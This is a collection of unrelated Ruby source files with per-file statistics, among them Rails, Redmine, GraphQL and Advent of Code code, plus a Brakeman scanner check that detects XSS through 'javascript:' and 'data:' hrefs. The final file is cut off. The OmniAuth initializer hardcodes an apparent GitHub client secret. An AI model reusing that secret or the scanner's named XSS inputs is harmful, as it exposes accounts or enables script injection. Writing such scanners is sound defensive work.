def self.from_status(old_status_id, type_id, role_ids, author = false, assignee = false)
workflows = Workflow
.where(old_status_id: old_status_id, type_id: type_id, role_id: role_ids)
if author && assignee
workflows
elsif author || assignee
workflows
.merge(Workflow.where(author: author).or(Workflow.where(assignee: assignee)))
else
workflows
.where(author: author)
.where(assignee: assignee)
end
end
# Find potential statuses the user could be allowed to switch issues to
def self.available_statuses(project, user = User.current)
Workflow
.includes(:new_status)
.where(role_id: user.roles_for_project(project).map(&:id))
.map(&:new_status)
.compact
.uniq
.sort
end
# Copies workflows from source to targets
def self.copy(source_type, source_role, target_types, target_roles)
unless source_type.is_a?(::Type) || source_role.is_a?(Role)
raise ArgumentError.new('source_type or source_role must be specified')
end
target_types = Array(target_types)
target_types = ::Type.all if target_types.empty?
target_roles = Array(target_roles)
target_roles = Role.all if target_roles.empty?
target_types.each do |target_type|
target_roles.each do |target_role|
copy_one(source_type || target_type,
source_role || target_role,
target_type,
target_role)
end
end
end
# Copies a single set of workflows from source to target
def self.copy_one(source_type, source_role, target_type, target_role)
unless source_type.is_a?(::Type) && !source_type.new_record? &&
source_role.is_a?(Role) && !source_role.new_record? &&
target_type.is_a?(::Type) && !target_type.new_record? &&
target_role.is_a?(Role) && !target_role.new_record?
raise ArgumentError.new('arguments can not be nil or unsaved objects')
end
if source_type == target_type && source_role == target_role
false
else
transaction do
where(type_id: target_type.id, role_id: target_role.id).delete_all
connection.insert <<-SQL
INSERT INTO #{Workflow.table_name} (type_id, role_id, old_status_id, new_status_id, author, assignee)
SELECT #{target_type.id}, #{target_role.id}, old_status_id, new_status_id, author, assignee
FROM #{Workflow.table_name}
WHERE type_id = #{source_type.id} AND role_id = #{source_role.id}
SQL
end
true
end
end
end
| 35.822695 | 121 | 0.688379 |
ac6ddeaf4985fa208dd63c6cbc1410527a8b6200 | 563 | # frozen_string_literal: true
require 'sequel'
require_relative './persistence/version'
require_relative './persistence/database'
module Blur
module Persistence
class NoSuchScriptSetting < StandardError; end
class NoSuchUserSetting < StandardError; end
end
def self.database
Persistence::Database
end
end
# require 'sequel/migrator'
Sequel.extension :migration
Sequel::Migrator.run Blur.database, File.join(__dir__, 'persistence/migrations')
require_relative './persistence/script_settings'
require_relative './persistence/user_settings'
| 23.458333 | 80 | 0.793961 |
f75c9bde94eee52e92a76147a0e56b9c5b216717 | 866 | module Pwfmt
# This patch extends SettingsController.
# This patch enables to load and save user selected format of welcom text.
module SettingsControllerPatch
extend ActiveSupport::Concern
included do
before_render :load_wiki_format, only: %i[edit index]
before_render :reserve_format, only: %i[edit index]
end
private
# load wiki format of itself from database
def load_wiki_format
pwfmt = PwfmtFormat.where(field: 'settings_welcome_text').first
Setting.welcome_text.wiki_format = pwfmt.format if Setting.welcome_text && pwfmt
end
# store wiki format of itself to database
def reserve_format
Pwfmt::Context.reserve_format('settings_welcome_text', Setting.welcome_text)
end
end
end
require 'settings_controller'
SettingsController.__send__(:include, Pwfmt::SettingsControllerPatch)
| 29.862069 | 86 | 0.750577 |
6a9e5ddac79e4a94a78d45383266559de7e78f78 | 152 | Rails.application.config.middleware.use OmniAuth::Builder do
provider :github, 'ab9c1f8903363bae317b', 'bd48e077ac62242f24ecfe411d5b4a46570c950e'
end
| 38 | 86 | 0.848684 |
26a8f64751c5af2e4449afe94eec510f633af656 | 376 | # frozen_string_literal: true
control 'backupninja configuration' do
title 'should match desired lines'
['11-custom.sh', '12-custom-rsync.sh'].each do |file|
describe file("/etc/backup.d/#{file}") do
it { should be_file }
its('owner') { should eq 'root' }
its('group') { should eq 'root' }
its('mode') { should cmp '0640' }
end
end
end
| 25.066667 | 55 | 0.619681 |
1ae7f763bf2d93c2d562ca502a9de7784b346be0 | 954 | # frozen_string_literal: true
module Mutations
class Login < Mutations::BaseMutation
null true
argument :login, String, required: true
argument :password, String, required: true
field :token, String, null: true
field :errors, [Types::UserErrorType], null: false
def resolve(login:, password:)
user = User.find_for_authentication(login: login)
if valid_for_auth?(user, password)
success_response(user)
else
add_error([], 'Invalid username/password combination')
error_response
end
end
private
def valid_for_auth?(user, password)
user&.valid_for_authentication? do
user.valid_password?(password)
end
end
def success_response(user)
{
token: JsonWebToken.encode(user_id: user.id),
errors: []
}
end
def error_response
{
token: nil,
errors: user_errors
}
end
end
end
| 20.297872 | 62 | 0.631027 |
d5a2d57844756c925d8f59dee1b4874e39d01530 | 4,669 | require 'brakeman/checks/check_cross_site_scripting'
#Checks for calls to link_to which pass in potentially hazardous data
#to the second argument. While this argument must be html_safe to not break
#the html, it must also be url safe as determined by calling a
#:url_safe_method. This prevents attacks such as javascript:evil() or
#data:<encoded XSS> which is html_safe, but not safe as an href
#Props to Nick Green for the idea.
class Brakeman::CheckLinkToHref < Brakeman::CheckLinkTo
Brakeman::Checks.add self
@description = "Checks to see if values used for hrefs are sanitized using a :url_safe_method to protect against javascript:/data: XSS"
def run_check
@ignore_methods = Set[:button_to, :check_box,
:field_field, :fields_for, :hidden_field,
:hidden_field, :hidden_field_tag, :image_tag, :label,
:mail_to, :polymorphic_url, :radio_button, :select, :slice,
:submit_tag, :text_area, :text_field,
:text_field_tag, :url_encode, :u,
:will_paginate].merge(tracker.options[:url_safe_methods] || [])
@models = tracker.models.keys
@inspect_arguments = tracker.options[:check_arguments]
methods = tracker.find_call :target => false, :method => :link_to
methods.each do |call|
process_result call
end
end
def process_result result
#Have to make a copy of this, otherwise it will be changed to
#an ignored method call by the code above.
call = result[:call] = result[:call].dup
@matched = false
url_arg = if result[:block]
process call.first_arg
else
process call.second_arg
end
if check_argument? url_arg
url_arg = url_arg.first_arg
end
return if call? url_arg and ignore_call? url_arg.target, url_arg.method
if input = has_immediate_user_input?(url_arg)
message = msg("Unsafe ", msg_input(input), " in ", msg_code("link_to"), " href")
unless duplicate? result or call_on_params? url_arg or ignore_interpolation? url_arg, input.match
add_result result
warn :result => result,
:warning_type => "Cross-Site Scripting",
:warning_code => :xss_link_to_href,
:message => message,
:user_input => input,
:confidence => :high,
:link_path => "link_to_href"
end
elsif not tracker.options[:ignore_model_output] and input = has_immediate_model?(url_arg)
return if ignore_model_call? url_arg, input or duplicate? result
add_result result
message = msg("Potentially unsafe model attribute in ", msg_code("link_to"), " href")
warn :result => result,
:warning_type => "Cross-Site Scripting",
:warning_code => :xss_link_to_href,
:message => message,
:user_input => input,
:confidence => :weak,
:link_path => "link_to_href"
end
end
CHECK_INSIDE_METHODS = [:url_for, :h, :sanitize]
def check_argument? url_arg
return unless call? url_arg
target = url_arg.target
method = url_arg.method
CHECK_INSIDE_METHODS.include? method or
cgi_escaped? target, method
end
def ignore_model_call? url_arg, exp
return true unless call? exp
target = exp.target
method = exp.method
return true unless model_find_call? target
return true unless method.to_s =~ /url|uri|link|page|site/
ignore_call? target, method or
IGNORE_MODEL_METHODS.include? method or
ignore_interpolation? url_arg, exp
end
#Ignore situations where the href is an interpolated string
#with something before the user input
def ignore_interpolation? arg, suspect
return unless string_interp? arg
return true unless arg[1].chomp.empty? # plain string before interpolation
first_interp = arg.find_nodes(:evstr).first
return unless first_interp
first_interp[1].deep_each do |e|
if suspect == e
return false
end
end
true
end
def ignore_call? target, method
decorated_model? method or super
end
def decorated_model? method
tracker.config.has_gem? :draper and
method == :decorate
end
def ignored_method? target, method
@ignore_methods.include? method or
method.to_s =~ /_path$/ or
(target.nil? and method.to_s =~ /_url$/)
end
def model_find_call? exp
return unless call? exp
MODEL_METHODS.include? exp.method or
exp.method.to_s =~ /^find_by_/
end
def call_on_params? exp
call? exp and
params? exp.target and
exp.method != :[]
end
end
| 30.717105 | 137 | 0.66224 |
ab6354b9db628083e91265375a06a4c2c525c5a4 | 134 | FactoryBot.define do
factory :mast_arm_frame_type do
name { "MyString" }
code { "MyString" }
active { false }
end
end
| 16.75 | 33 | 0.649254 |
bfac619da3ffbb7d80bd002c15fdf9d7eee3c156 | 85 | # desc "Explaining what the task does"
# task :meccano do
# # Task goes here
# end
| 17 | 38 | 0.670588 |
26f11c8427d0889957a16faea96a75bed62117b3 | 274 | class UserBenefitsController < ApplicationController
before_action :set_benefit
def new
current_user.benefits << @benefit
redirect_to current_user # maybe?
end
private
def set_benefit
@benefit = Benefit.find(params[:id])
end
end
| 16.117647 | 52 | 0.689781 |
ed2282275d47c3759f9309fd9e6aeac3b781d7ad | 1,697 | # frozen_string_literal: true
require_relative '../libraries/algosec_helper'
resource_name :algosec_application_flows
property :algosec_options, Hash, required: true
property :application_name, String, name_property: true
property :application_flows, Hash, required: true
# property :application_flows, Hash, required: true, callbacks: {
# 'should be an hash of stringy flow name to hash' => -> {},
# 'each flow contain sources, destinations and services which are array of strings' => -> {},
# 'non required fields (users, applications) are array of strings if they were defined' => -> {},
# 'commend field is a string if it was defined' => -> {},
# }
action_class do
# Include the helpers
include AlgoSecCookbook::Helper
end
action :define do
load_sdk
client = build_client(new_resource.algosec_options)
client.login
flows_from_server = client.get_application_flows_hash(
client.get_app_revision_id_by_name(new_resource.application_name)
)
flows_to_delete, flows_to_create, flows_to_modify = client.plan_application_flows(
flows_from_server,
new_resource.application_flows
)
change_needed = [flows_to_delete.any?, flows_to_create.any?, flows_to_modify.any?].any?
if change_needed
converge_by "Re-defining application flows."\
" Creating #{flows_to_create.length},"\
" modifying #{flows_to_modify.length}"\
" and deleting #{flows_to_delete.length}" do
client.implement_app_flows_plan(
new_resource.application_name,
new_resource.application_flows,
flows_from_server,
flows_to_delete,
flows_to_create,
flows_to_modify
)
end
end
end
| 33.94 | 99 | 0.72363 |
ff97cd3042af59de722ae3600111c5e5d93e0dd5 | 1,184 | require_relative "../puzzle"
class Day3Part1 < Puzzle
def test_cases
{ # {input => expected}
["R8,U5,L5,D3", "U7,R6,D4,L4"] => 30,
["R75,D30,R83,U83,L12,D49,R71,U7,L72", "U62,R66,U55,R34,D71,R55,D58,R83"] => 610,
["R98,U47,R26,D63,R33,U87,L62,D20,R33,U53,R51", "U98,R91,D20,R16,D67,R40,U7,R15,U6,R7"] => 410
}
end
# Use `testing` when the test cases behaviour differs
def solve(input, testing: false)
paths = input.map do |wire|
build_path([[0,0]], wire)
end
x_at = (paths[0] & paths[1] - [[0, 0]])
closest_x = x_at.map do |c|
paths[0].index(c) + paths[1].index(c)
end.min
end
def build_path(path, wire)
i = wire.index(",") || wire.length
m = wire[0...i]
r = wire[i+1..-1]
d = m[0]
n = m[1..-1].to_i # to_i strips the ,
Array.new(n).map do
path <<
case d
when "U"
[path.last[0], path.last[1] - 1]
when "D"
[path.last[0], path.last[1] + 1]
when "R"
[path.last[0] + 1, path.last[1]]
when "L"
[path.last[0] - 1, path.last[1]]
end
end
return path if r.nil?
build_path(path, r)
end
end | 26.909091 | 100 | 0.525338 |
e99265fe10fee9defd4c639cfc65fc6207977b50 | 37 | module Twins
VERSION = "0.0.4"
end
| 9.25 | 19 | 0.648649 |
2148a6536f84a5cfac7ed87ef798dbd017d7cf07 | 107 | require "safe_op/version"
module SafeOp
class Error < StandardError; end
# Your code goes here...
end
| 15.285714 | 34 | 0.728972 |
03e4b6127d102c6eca8bf8d6b4c3c05d5660b9e6 | 1,967 | =begin
#Datadog API V1 Collection
#Collection of all Datadog Public endpoints.
The version of the OpenAPI document: 1.0
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.0.0-SNAPSHOT
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for DatadogAPIClient::V1::LogsStringBuilderProcessor
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe DatadogAPIClient::V1::LogsStringBuilderProcessor do
let(:instance) { DatadogAPIClient::V1::LogsStringBuilderProcessor.new }
describe 'test an instance of LogsStringBuilderProcessor' do
it 'should create an instance of LogsStringBuilderProcessor' do
expect(instance).to be_instance_of(DatadogAPIClient::V1::LogsStringBuilderProcessor)
end
end
describe 'test attribute "is_enabled"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "is_replace_missing"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "name"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "target"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "template"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "type"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 30.261538 | 102 | 0.74123 |
e815bbb976ee4fffbfd09ee8df415b9ac1f3c1a0 | 1,602 | require 'crawl_station/version'
require 'pathname'
require 'active_support'
require 'active_record'
require 'active_support/dependencies/autoload'
require 'logger'
require 'thor'
require 'celluloid/debug'
require 'celluloid/current'
module CrawlStation # :nodoc:
extend ActiveSupport::Autoload
autoload :Configuration
autoload :Logger
autoload :Utils
autoload :ApplicationRecord
autoload :Producer
autoload :Launcher
autoload :Cache
autoload :Schedule
autoload :Proxy
autoload :ParseStruct, 'crawl_station/fundation/parse_struct'
autoload :ParseProxy, 'crawl_station/fundation/parse_proxy'
autoload :Command
module Adapters
extend ActiveSupport::Autoload
module ScheduleAdapters
extend ActiveSupport::Autoload
autoload :AbstractAdapter
autoload :MemoryAdapter
autoload :DbAdapter
end
module CacheAdapters
extend ActiveSupport::Autoload
autoload :AbstractAdapter
autoload :MemoryAdapter
autoload :DbAdapter
end
module ProxyAdapters
extend ActiveSupport::Autoload
autoload :AbstractAdapter
autoload :MemoryAdapter
end
end
module Command
extend ActiveSupport::Autoload
autoload :Create
autoload :Generate
end
module Concerns
extend ActiveSupport::Autoload
autoload :AdapterConcern
autoload :ParserClassConcern
autoload :CrawlStationClass
end
module Model
extend ActiveSupport::Autoload
autoload :Cache
autoload :Schedule
end
end
CS = CrawlStation
CS.send(:include, CS::Concerns::CrawlStationClass)
Celluloid.boot
| 20.025 | 63 | 0.747815 |
e9f7118d356ec0157bbc63267c80f7b874f30622 | 2,101 | require 'nokogiri'
layout 'layout.html.erb'
ignore /.git/
ignore /.gitignore/
ignore /.ruby-version/
ignore /COPYING/
ignore /Gemfile.*/
ignore /Makefile/
ignore /README/
ignore /package.json/
ignore /package-lock.json/
ignore /requirements.txt/
ignore /screenshot.png/
ignore /node_modules/
ignore /src/
helpers do
def extract_code_for(fn)
fn = File.expand_path(File.join(File.dirname(__FILE__), fn))
doc = File.open(fn) do |f|
Nokogiri::HTML(f)
end
doc.css("table").to_html
end
def git_version_number
`git log | sed -n 1p`.split(" ").last
end
def encoded_url(page='')
"https%3A%2F%2Fwebaudio.prototyping.bbc.co.uk%2F#{page}"
end
end
before 'index.html.erb' do
layout 'layout.html.erb'
@machine = "about"
@show_prev_next_buttons = false
@encoded_url = encoded_url() # index page
@title = "Recreating the sounds of the BBC Radiophonic Workshop"
end
before 'credits.html.erb' do
layout 'layout.html.erb'
@machine = "credits"
@show_prev_next_buttons = false
@encoded_url = encoded_url() # index page
@title = "Recreating the sounds of the BBC Radiophonic Workshop"
end
before 'wobbulator/index.html.erb' do
@code = extract_code_for("docs/wobbulator.html")
@machine = "wobbulator"
@encoded_url = encoded_url(@machine)
@title = "Wobbulator : Recreating the sounds of the BBC Radiophonic Workshop"
end
before 'ring-modulator/index.html.erb' do
@code = extract_code_for("docs/ring-modulator.html")
@machine = "ring-modulator"
@encoded_url = encoded_url(@machine)
@title = "Ring Modulator : Recreating the sounds of the BBC Radiophonic Workshop"
end
before 'gunfire/index.html.erb' do
@code = extract_code_for("docs/gunfire.html")
@machine = "gunfire"
@encoded_url = encoded_url(@machine)
@title = "Gunfire Effects : Recreating the sounds of the BBC Radiophonic Workshop"
end
before 'tapeloops/index.html.erb' do
@code = extract_code_for("docs/tapeloops.html")
@machine = "tapeloops"
@encoded_url = encoded_url(@machine)
@title = "Tape Loops : Recreating the sounds of the BBC Radiophonic Workshop"
end
| 26.2625 | 84 | 0.722513 |
2189613423ca45f069c9b2e6a23193e2678c5733 | 5,939 | =begin
#DocuSign REST API
#The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign.
OpenAPI spec version: v2.1
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.13-SNAPSHOT
=end
require 'date'
module DocuSign_eSign
class NotificationDefaultSettings
attr_accessor :sender_email_notifications
attr_accessor :signer_email_notifications
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'sender_email_notifications' => :'senderEmailNotifications',
:'signer_email_notifications' => :'signerEmailNotifications'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'sender_email_notifications' => :'SenderEmailNotifications',
:'signer_email_notifications' => :'SignerEmailNotifications'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'senderEmailNotifications')
self.sender_email_notifications = attributes[:'senderEmailNotifications']
end
if attributes.has_key?(:'signerEmailNotifications')
self.signer_email_notifications = attributes[:'signerEmailNotifications']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
sender_email_notifications == o.sender_email_notifications &&
signer_email_notifications == o.signer_email_notifications
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[sender_email_notifications, signer_email_notifications].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = DocuSign_eSign.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 30.613402 | 123 | 0.644553 |
9189a9ce7c22790307d97344439b12181da1fccd | 1,822 | #
# Be sure to run `pod lib lint SAMIM_MapKit_Category.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'SAMIM_MapKit_Category'
s.version = '1.0.1'
s.summary = 'A short description of SAMIM_MapKit_Category. Categories(这是一个单独的repo,所用需要调度其他模块的人,只需要依赖这个repo。这个repo由target-action维护者维护 (ZIKong))'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
DESC
s.homepage = 'https://github.com/SAMIM-Modularization/SAMIM_MapKit_Category'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { '[email protected]' => '[email protected]' }
s.source = { :git => 'https://github.com/SAMIM-Modularization/SAMIM_MapKit_Category.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'SAMIM_MapKit_Category/Classes/**/*'
# s.resource_bundles = {
# 'SAMIM_MapKit_Category' => ['SAMIM_MapKit_Category/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
s.dependency "CTMediator"
end
| 41.409091 | 154 | 0.67124 |
b957eb075f1906c41d9d3997567f27f8c47e75aa | 817 | require "./lib/anchored/version"
Gem::Specification.new do |spec|
spec.name = "anchored"
spec.version = Anchored::VERSION
spec.authors = ["Tee Parham"]
spec.email = ["[email protected]"]
spec.summary = "Ruby auto linker"
spec.description = "Ruby auto linker based on rails_autolink. "\
"It wraps links in text with HTML anchors."
spec.homepage = "https://github.com/neighborland/anchored"
spec.license = "MIT"
spec.files = Dir["LICENSE.txt", "README.md", "lib/**/*"]
spec.require_paths = ["lib"]
spec.required_ruby_version = ">= 2.3.0"
spec.add_development_dependency "rake", "~> 12.0"
spec.add_development_dependency "minitest", "~> 5.10"
spec.add_development_dependency "activesupport", "~> 5.0"
end
| 34.041667 | 68 | 0.629131 |
18020875e1986a63f15232c595942c7ab1736bc4 | 93 | require 'test_helper'
class TemplatesTest < ActiveSupport::TestCase
def setup
end
end
| 10.333333 | 45 | 0.763441 |
912bffce9e2d9372696823fe2171d32e8bb9dcb8 | 1,457 | require 'open-uri'
require 'nokogiri'
$bot.message(start_with: '/yt ') do |yt_event|
$bot.remove_event_handler(Discordrb::Events::MessageEvent, contains: /^\d{1,2}$/i)
query = yt_event.content.gsub('/yt ', '')
page = Nokogiri::HTML(open(URI.escape("https://www.youtube.com/results?search_query=#{query}")), nil, 'utf-8')
videos = page.css('.yt-lockup-title a')
.reject { |v| href = v['href']
href.include?('list=') ||
href.include?('channel/') ||
href.include?('user/')
}
.first(10)
if videos.empty?
yt_event.respond 'No videos found'
else
videos_list = "```Enter a number:\n"
video_times = page.css('.video-time')
.first(10)
.reject(&:nil?)
.map(&:text)
videos.map{ |v| v['title'] }.each_with_index do |v, i|
videos_list << "#{i+1} - #{v} (#{video_times[i]})"
i == videos.length - 1 ? videos_list << '```' : videos_list << "\n"
end
yt_event.respond videos_list
$bot.message(contains: /^\d{1,2}$/i) do |resp_event|
index = resp_event.content.to_i - 1
video = videos[index]['href']
command = "dj request https://www.youtube.com#{video}"
resp_event.respond command
$bot.remove_event_handler(Discordrb::Events::MessageEvent, contains: /^\d{1,2}$/i)
end
end
end | 36.425 | 112 | 0.539465 |
33ef207e7c35a87f3f35c01643659598dca4697c | 10,663 | require 'rails_admin/i18n_support'
module RailsAdmin
module ApplicationHelper
include RailsAdmin::I18nSupport
def get_url(action, model_name, opts = {})
options = {:model_name => model_name}.merge(opts)
options.merge!(current_scope_parameters)
case action
when :dashboard
dashboard_path(options)
when :edit
edit_path(options)
when :list
list_path(options)
when :new
new_path(options)
end
end
def head_javascript(path = nil, &block)
if block
(@head_javascript ||= []) << capture(&block)
elsif path
(@head_javascript_paths ||= []) << path
else
html = ""
if paths = @head_javascript_paths
paths.uniq.each do |path|
html << javascript_include_tag(path)
end
end
if script = @head_javascript
html << javascript_tag(script.uniq.join("\n"))
end
return html.html_safe
end
end
def head_style(path = nil, &block)
if block
(@head_style ||= []) << capture(&block)
elsif path
(@head_stylesheet_paths ||= []) << path
else
html = ""
if paths = @head_stylesheet_paths
paths.uniq.each do |path|
html << stylesheet_link_tag(path)
end
end
if style = @head_style
html << content_tag(:style, style.uniq.join("\n"), :type => "text/css")
end
return html.html_safe
end
end
def action_button link, text, icon=nil, options={}
options.reverse_merge! :class => "button"
link_to link, options do
image = image_tag(image_path("rails_admin/theme/activo/images/icons/#{icon}.png")) if icon
[image, text].compact.join("\n").html_safe
end.html_safe
end
# the icon shown beside every entry in the list view
def action_icon link, icon, text
icon_path = "rails_admin/theme/activo/images/icons/24/%s.png"
icon_change = "this.src='#{icon_path}'"
link_to link do
image_tag image_path(icon_path % icon),
:alt => text, :title => text, :class => 'tipsy',
:onmouseout => "this.src='#{image_path(icon_path % icon)}'",
:onmouseover => "this.src='#{image_path(icon_path % (icon.to_s + '-hover'))}'"
end.html_safe
end
# Used for the icons in the admins very top right.
def header_icon(image_name, title)
image_tag image_path("rails_admin/theme/activo/images/session/#{image_name}.png"), :alt => title, :title => title
end
# Used for the history entries in the sidebar
def history_link user, text
content_tag :p, "<b>#{user}</b> #{text}".html_safe
end
def history_output(t)
return unless t
if not t.message.downcase.rindex("changed").nil?
return t.message.downcase + " for #{t.table.capitalize} ##{t.item}"
else
return t.message.downcase
end
end
# Given a page count and the current page, we generate a set of pagination
# links.
#
# * We use an inner and outer window into a list of links. For a set of
# 20 pages with the current page being 10:
# outer_window:
# 1 2 ..... 19 20
# inner_window
# 5 6 7 8 9 10 11 12 13 14
#
# This is totally adjustable, or can be turned off by giving the
# :inner_window setting a value of nil.
#
# * Options
# :left_cut_label => <em>text_for_cut</em>::
# Used when the page numbers need to be cut off to prevent the set of
# pagination links from being too long.
# Defaults to '…'
# :right_cut_label => <em>text_for_cut</em>::
# Same as :left_cut_label but for the right side of numbers.
# Defaults to '…'
# :outer_window => <em>number_of_pages</em>::
# Sets the number of pages to include in the outer 'window'
# Defaults to 2
# :inner_window => <em>number_of_pages</em>::
# Sets the number of pags to include in the inner 'window'
# Defaults to 7
# :page_param => <em>name_of_page_paramiter</em>
# Sets the name of the paramiter the paginator uses to return what
# page is being requested.
# Defaults to 'page'
# :url => <em>url_for_links</em>
# Provides the base url to use in the page navigation links.
# Defaults to ''
def paginate(current_page, page_count, options = {})
options[:left_cut_label] ||= '<span>…</span>'
options[:right_cut_label] ||= '<span>…</span>'
options[:outer_window] ||= 2
options[:inner_window] ||= 7
options[:remote] = true unless options.has_key?(:remote)
options[:page_param] ||= :page
options[:url] ||= {}
pages = {
:all => (1..page_count).to_a,
:left => [],
:center => [],
:right => []
}
infinity = (1/0.0)
# Only worry about using our 'windows' if the page count is less then
# our windows combined.
if options[:inner_window].nil? || ((options[:outer_window] * 2) + options[:inner_window] + 2) >= page_count
pages[:center] = pages[:all]
else
pages[:left] = pages[:all][0, options[:outer_window]]
pages[:right] = pages[:all][page_count - options[:outer_window], options[:outer_window]]
pages[:center] = case current_page
# allow the inner 'window' to shift to right when close to the left edge
# Ex: 1 2 [3] 4 5 6 7 8 9 ... 20
when -infinity .. (options[:inner_window] / 2) + 3
pages[:all][options[:outer_window], options[:inner_window]] +
[options[:right_cut_label]]
# allow the inner 'window' to shift left when close to the right edge
# Ex: 1 2 ... 12 13 14 15 16 [17] 18 19 20
when (page_count - (options[:inner_window] / 2.0).ceil) - 1 .. infinity
[options[:left_cut_label]] +
pages[:all][page_count - options[:inner_window] - options[:outer_window], options[:inner_window]]
# Display the unshifed window
# ex: 1 2 ... 5 6 7 [8] 9 10 11 ... 19 20
else
[options[:left_cut_label]] +
pages[:all][current_page - (options[:inner_window] / 2) - 1, options[:inner_window]] +
[options[:right_cut_label]]
end
end
b = []
[pages[:left], pages[:center], pages[:right]].each do |p|
p.each do |page_number|
case page_number
when String
b << page_number
when current_page
b << Builder::XmlMarkup.new.span(page_number, :class => "current")
when page_count
b << link_to(page_number, "?" + options[:url].merge(options[:page_param] => page_number).to_query, :class => "end", :remote => options[:remote])
else
b << link_to(page_number, "?" + options[:url].merge(options[:page_param] => page_number).to_query, :remote => options[:remote])
end
end
end
b.join(" ")
end
def authorized?(*args)
@authorization_adapter.nil? || @authorization_adapter.authorized?(*args)
end
def authorization_adapter
@authorization_adapter
end
def scope_adapter
@scope_adapter
end
def current_scope_parameters
@current_scope_parameters
end
def current_scope(model_name)
@current_scope[model_name][:selected] rescue nil
end
def messages_and_help_for field
tags = []
if field.has_errors?
tags << content_tag(:span, "#{field.label} #{field.errors.first}", :class => "errorMessage")
end
tags << content_tag(:p, field.help, :class => "help")
tags.join("\n").html_safe
end
def field_wrapper_for form, field, opts={}
opts = opts.reverse_merge(:label => true, :messages_and_help => true)
content_tag(:div, :class => "field #{field.dom_id}", :id => field.dom_id + '_field') do
concat form.label(field.method_name, field.label) if opts[:label]
yield
